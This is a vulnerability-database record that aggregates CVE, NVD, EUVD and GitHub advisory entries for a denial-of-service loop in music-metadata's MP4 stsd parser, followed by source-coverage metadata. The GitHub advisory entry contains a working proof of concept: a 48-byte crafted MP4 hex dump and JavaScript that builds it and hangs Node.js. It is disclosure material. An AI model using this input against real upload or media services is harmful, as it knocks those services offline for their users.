{"id":"CVE-2026-107391","revision":null,"records":[{"revision":"88f1d6a3cd8e49d298d83d1569a43e77","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-107391","aliases":[],"title":"music-metadata: MP4 stsd sample-entry size==0 causes a synchronous infinite loop (DoS) — unreleased regression on master","description":"music-metadata is a metadata parser for audio and video media files. In the public development revision introduced after 11.14.0, a development-branch regression in the MP4 stsd sample-description parser allows an attacker-controlled sample-entry size of zero to prevent the StsdAtom.get cursor from advancing while an attacker-controlled entry_count keeps the synchronous loop running. A crafted MP4-family input can block the Node.js event loop and grow the sample-description table until the process is terminated or exhausts memory. The vulnerable change was present on the public master branch but was not included in music-metadata 11.14.0 or any earlier npm release, and version 11.16.0 contains the fix. This issue is fixed in version 11.16.0.","state":0,"publishedAt":"2026-10-08T19:10:47.365+00:00","modifiedAt":"2026-10-09T15:14:19.59+00:00","affected":[{"ecosystem":"Vendor product","name":"music-metadata","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"Borewit\",\n                    \"product\": \"music-metadata\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 11.16.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":6.2,"severity":"MEDIUM"}],"references":["https://github.com/Borewit/music-metadata/security/advisories/GHSA-f94x-6692-553q","https://github.com/Borewit/music-metadata/pull/2734","https://github.com/Borewit/music-metadata/commit/90a7d52c69e921a0b019592d887acd97b1c8b8a5","https://github.com/Borewit/music-metadata/releases/tag/v11.16.0"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-107391","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-107391","identifiers":["CVE-2026-107391"]},"retained":false,"historicalAffected":[]},{"revision":"666bb941073d4e8284363e1189d0c143","observedAt":"2026-11-09T05:07:54.697+00:00","statement":{"source":"euvd","id":"EUVD-2026-95245","aliases":["CVE-2026-107391","GHSA-f94x-6692-553q"],"title":"music-metadata is a metadata parser for audio and video media files. In the public development revision introduced after 11.14.0, a development-branch regression in the MP4 stsd sample-description parser allows an attacker-controlled sample…","description":"music-metadata is a metadata parser for audio and video media files. In the public development revision introduced after 11.14.0, a development-branch regression in the MP4 stsd sample-description parser allows an attacker-controlled sample-entry size of zero to prevent the StsdAtom.get cursor from advancing while an attacker-controlled entry_count keeps the synchronous loop running. A crafted MP4-family input can block the Node.js event loop and grow the sample-description table until the process is terminated or exhausts memory. The vulnerable change was present on the public master branch but was not included in music-metadata 11.14.0 or any earlier npm release, and version 11.16.0 contains the fix. This issue is fixed in version 11.16.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":6.2,"severity":null}],"references":["https://github.com/Borewit/music-metadata/security/advisories/GHSA-f94x-6692-553q","https://github.com/Borewit/music-metadata/pull/2734","https://github.com/Borewit/music-metadata/commit/90a7d52c69e921a0b019592d887acd97b1c8b8a5","https://github.com/Borewit/music-metadata/releases/tag/v11.16.0"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-95245","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Oct 8, 2026, 7:10:47 PM","dateUpdated":"Oct 9, 2026, 3:14:19 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-95245","identifiers":["EUVD-2026-95245","CVE-2026-107391","GHSA-f94x-6692-553q"]},"retained":false,"historicalAffected":[]},{"revision":"2fc368379cdb4e05b1e6c04613dd3323","observedAt":"2026-10-25T05:17:13.11+00:00","statement":{"source":"nvd","id":"CVE-2026-107391","aliases":[],"title":"music-metadata is a metadata parser for audio and video media files. In the public development revision introduced after 11.14.0, a development-branch regression in the MP4 stsd sample-description parser allows an attacker-controlled sample…","description":"music-metadata is a metadata parser for audio and video media files. In the public development revision introduced after 11.14.0, a development-branch regression in the MP4 stsd sample-description parser allows an attacker-controlled sample-entry size of zero to prevent the StsdAtom.get cursor from advancing while an attacker-controlled entry_count keeps the synchronous loop running. A crafted MP4-family input can block the Node.js event loop and grow the sample-description table until the process is terminated or exhausts memory. The vulnerable change was present on the public master branch but was not included in music-metadata 11.14.0 or any earlier npm release, and version 11.16.0 contains the fix. This issue is fixed in version 11.16.0.","state":0,"publishedAt":"2026-10-08T20:17:33.53+00:00","modifiedAt":"2026-10-13T19:39:28.28+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":6.2,"severity":"MEDIUM"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/Borewit/music-metadata/commit/90a7d52c69e921a0b019592d887acd97b1c8b8a5","https://github.com/Borewit/music-metadata/pull/2734","https://github.com/Borewit/music-metadata/releases/tag/v11.16.0","https://github.com/Borewit/music-metadata/security/advisories/GHSA-f94x-6692-553q"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107391","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-400","CWE-835"],"productCriteria":["cpe:2.3:a:borewit:music-metadata:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-10-08T20:17:33.530","lastModified":"2026-10-13T19:39:28.280"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-107391","identifiers":["CVE-2026-107391"]},"retained":false,"historicalAffected":[]},{"revision":"6d75218289684699a9df33edc85fb73b","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-f94x-6692-553q","aliases":["CVE-2026-107391"],"title":"music-metadata: MP4 stsd sample-entry size==0 causes a synchronous infinite loop (DoS) — unreleased regression on master","description":"### Summary\n\n`StsdAtom.get()` in `lib/mp4/AtomToken.ts` parses an MP4 `stsd` (sample description) box's entry table by advancing a cursor with `off += size - 4`, where `size` is a 32-bit, attacker-controlled per-entry length read straight from the file. When `size == 0`, that advance is `0`, so a file declaring a huge `entry_count` and a first entry `size` of `0` spins forever: same bytes read every iteration, no progress, no exit. Because `StsdAtom.get` runs *synchronously* inside `strtok3`'s tokenizer, this doesn't just fail slowly — it blocks the Node.js event loop entirely for the whole process. A 48-byte file is enough to hang any service that parses user-uploaded audio/video metadata through `parseBuffer`, `parseFile`, `parseStream`, `parseBlob`, or `parseWebStream`.\n\nThis is currently unreleased — present on the `master` branch only, not in the latest npm release (`11.14.0`) or any earlier one. Reporting now, before it ships.\n\n### Details\n\n`lib/mp4/AtomToken.ts`, `StsdAtom.get()`:\n\n```ts\nfor (let n = 0; n < header.numberOfEntries; ++n) {\n  const size = Token.UINT32_BE.get(buf, off);   // attacker-controlled entry size\n  off += Token.UINT32_BE.len;                    // +4 (skip the size field)\n  table.push(new SampleDescriptionTable(size - Token.UINT32_BE.len).get(buf, off));\n  off += size - Token.UINT32_BE.len;             // net advance = size - 4\n}\n```\n\n- Introduced by commit `d2a7d6f` (\"fix(mp4): locate each sample entry after the first correctly\", merged via PR #2693, fixing issue #2691, 2026-08-03). Before that fix the code was `off += size` (correct advance, but it over-skipped the first entry — the actual bug PR #2693 was fixing). The fix changed it to `off += size - 4` to correct the offset, but added no guard for `size < 4`.\n- With `size == 0`: net advance for the iteration is `4 + (0 - 4) = 0`. `off` never moves. The loop re-reads the same 4 bytes as `size` on every pass, `entry_count` (also attacker-controlled, up to `0xFFFFFFFF`) never runs out, and `table.push(...)` grows without bound on every iteration.\n- `StsdAtom.get` is invoked synchronously from `strtok3`'s `AbstractTokenizer.readToken` — there is no `await` point inside the loop, so nothing yields back to the event loop. The process hangs at ~100% CPU until killed externally; `table`'s unbounded growth means it will also eventually exhaust memory if not killed first.\n- The pre-fix code (`off += size`, no `-4`) does not hang on this input: it over-advances by 4 bytes each entry, and the corrupted second read throws a catchable `FieldDecodingError` rather than looping. That's why this is a *regression* introduced specifically by the `-4` fix, not a pre-existing bug.\n\n### PoC\n\n48-byte MP4 file: a 16-byte `ftyp` box + a 32-byte `stsd` box declaring `entry_count = 0xFFFFFFFF` with one sample entry whose `size` field is `0`.\n\n```\nhex:    00000010667479704d34412000000000000000207374736400000000ffffffff000000006d7034610000000000000001\nsha256: 69ee80747d0a7eda3a0d02f7270d6375c8e7f5ca2231a48be558c2e01c02dd80\n```\n\nThis builds the malicious buffer inline:\n\n```js\nimport { parseBuffer } from 'music-metadata';\n\nconst ascii = (s) => [...s].map(c => c.charCodeAt(0) & 0xff);\nconst u32be = (n) => [(n >>> 24) & 0xff, (n >>> 16) & 0xff, (n >>> 8) & 0xff, n & 0xff];\nconst cat = (...a) => { const o = []; for (const x of a) o.push(...x); return o; };\nconst zeros = (n) => new Array(n).fill(0);\n\nfunction build(entryCount, entrySize) {\n  const ftyp = cat(u32be(16), ascii('ftyp'), ascii('M4A '), u32be(0));\n  const stsdHeader = cat([0], [0, 0, 0], u32be(entryCount)); // version+flags+entry_count\n  const entry = cat(u32be(entrySize), ascii('mp4a'), zeros(6), [0, 1]); // size + 12-byte SampleEntry\n  const payload = cat(stsdHeader, entry);\n  const stsd = cat(u32be(8 + payload.length), ascii('stsd'), payload);\n  return Uint8Array.from(cat(ftyp, stsd));\n}\n\nconst hang = build(0xFFFFFFFF, 0); // entry_count = 0xFFFFFFFF, first entry size = 0\nconsole.log('parsing', hang.length, 'byte file …');\nawait parseBuffer(hang, { mimeType: 'audio/mp4' }); // never resolves — blocks the event loop\nconsole.log('unreachable');\n```\n\n```\n$ timeout 8 node poc.mjs\nparsing 48 byte file …\n# process is killed by `timeout` after 8s — never resolves, ~100% CPU the whole time\n```\n\nControl (benign input, `entry_count = 1`, same `size = 0`): rejects in 4 ms with a `TypeError` — the loop runs exactly once and terminates, confirming the hang is specific to the `entry_count` × `size == 0` combination, not the `size == 0` field alone.\n\nVersion-scope control (same 48-byte file against the latest npm release, `music-metadata@11.14.0`, which still has the pre-fix `off += size`): rejects in 4 ms with a `FieldDecodingError` — no hang. Confirms this is a `master`-only regression, not present in anything currently shipped.\n\n### Impact\n\nAny application that parses user-uploaded or otherwise untrusted audio/video files for metadata (a common pattern — media libraries, upload pipelines, transcoding services) can be hung indefinitely by a single 48-byte attacker-supplied file, with no authentication and no special conditions required beyond the normal parse call. \n\nThis is the same vulnerability class and CVSS vector as the project's own prior advisory, **GHSA-v6c2-xwv6-8xf7 / CVE-2026-32256** (ASF parser infinite loop, fixed in 11.12.1) — but a different sink (MP4 `stsd`, not ASF extension objects) and, notably, this one reaches *every* tokenizer backend rather than being spared by `parseStream` the way the ASF bug was, since the buffer here is already fully materialized in memory when `StsdAtom.get` runs.","state":0,"publishedAt":"2026-10-08T19:43:25+00:00","modifiedAt":"2026-10-08T20:00:05.8662831+00:00","affected":[{"ecosystem":"npm","name":"music-metadata","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"11.16.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/Borewit/music-metadata/security/advisories/GHSA-f94x-6692-553q","https://github.com/Borewit/music-metadata/pull/2734","https://github.com/Borewit/music-metadata/commit/90a7d52c69e921a0b019592d887acd97b1c8b8a5","https://github.com/Borewit/music-metadata","https://github.com/Borewit/music-metadata/releases/tag/v11.16.0"],"sourceUrl":"https://github.com/advisories/GHSA-f94x-6692-553q","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-f94x-6692-553q","identifiers":["GHSA-f94x-6692-553q","CVE-2026-107391"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-10T06:04:36.9417469+00:00","complete":true,"records":1773,"lastAttemptAt":"2026-11-10T06:04:36.9417469+00:00","lastSuccessAt":"2026-11-10T06:04:37.1495753+00:00","error":null,"lastVerifiedAt":"2026-11-10T06:04:37.1495759+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-8859cf40d4337e24bd2f258cc7778fbad01bb24c79d057aaf34cf1dfc6f8917d-f6cc9b12cdb581c8c26d0d42311ec22aefb7992e88ee12bd79a0c89f476e29ff","complete":true,"records":421887,"lastAttemptAt":"2026-11-10T06:02:15.6675427+00:00","lastSuccessAt":"2026-11-10T06:02:15.5673353+00:00","error":null,"lastVerifiedAt":"2026-11-10T06:02:15.6675427+00:00","snapshotPublishedAt":"2026-11-10T05:23:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-2e6a476534094233b48f2f0b6da5cf35","complete":true,"records":13689,"lastAttemptAt":"2026-11-10T06:05:35.0354037+00:00","lastSuccessAt":"2026-11-10T06:05:35.03+00:00","error":null,"lastVerifiedAt":"2026-11-10T06:05:35.03+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13742,"expectedIdentifiers":13742,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-10T06:04:36.9417469+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-10T06:04:36.9417469+00:00","lastSuccessAt":"2026-11-10T06:04:37.1503787+00:00","error":null,"lastVerifiedAt":"2026-11-10T06:04:37.1503789+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-dcb6f23f313c40328d8b679af29a76c8","complete":false,"records":13695,"lastAttemptAt":"2026-11-10T06:05:02.8914576+00:00","lastSuccessAt":"2026-11-10T06:05:02.887+00:00","error":"100 identifier lookups failed; latest failures include request timeout. Other identifiers were checked independently.","lastVerifiedAt":"2026-11-10T06:05:02.887+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13642,"expectedIdentifiers":13742,"failedIdentifiers":100},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-cdffb4589856378aa42e8d1bd4a6c74e27a180d8160bf764c44715ef760f0a62","complete":true,"records":9932,"lastAttemptAt":"2026-11-10T06:04:29.7401591+00:00","lastSuccessAt":"2026-11-10T00:04:19.8260565+00:00","error":null,"lastVerifiedAt":"2026-11-10T06:04:29.7401591+00:00","snapshotPublishedAt":"2026-11-09T23:48:01+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-26503967ae4379db8f374089589d6e03fb15bd31f820c9e992aaf93840c2236c","complete":true,"records":1971,"lastAttemptAt":"2026-11-10T06:02:15.7348582+00:00","lastSuccessAt":"2026-11-09T21:02:20.472473+00:00","error":null,"lastVerifiedAt":"2026-11-10T06:02:15.7348582+00:00","snapshotPublishedAt":"2026-11-09T20:18:18+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-14f555fdbdce5e9103ab1251a692b612ea1fcd0b3d538af6015a071f4b299249","complete":true,"records":3065,"lastAttemptAt":"2026-11-10T06:04:36.8991666+00:00","lastSuccessAt":"2026-11-10T06:04:36.7449268+00:00","error":null,"lastVerifiedAt":"2026-11-10T06:04:36.8991666+00:00","snapshotPublishedAt":"2026-11-10T05:33:02+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-5b9134a1c92c7f3c542fa77c730904ae6f13b772cb6b6707fc58983c93af0933","complete":true,"records":231596,"lastAttemptAt":"2026-11-10T06:04:29.6144485+00:00","lastSuccessAt":"2026-11-10T06:04:28.0373789+00:00","error":null,"lastVerifiedAt":"2026-11-10T06:04:29.6144485+00:00","snapshotPublishedAt":"2026-11-10T05:33:06+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}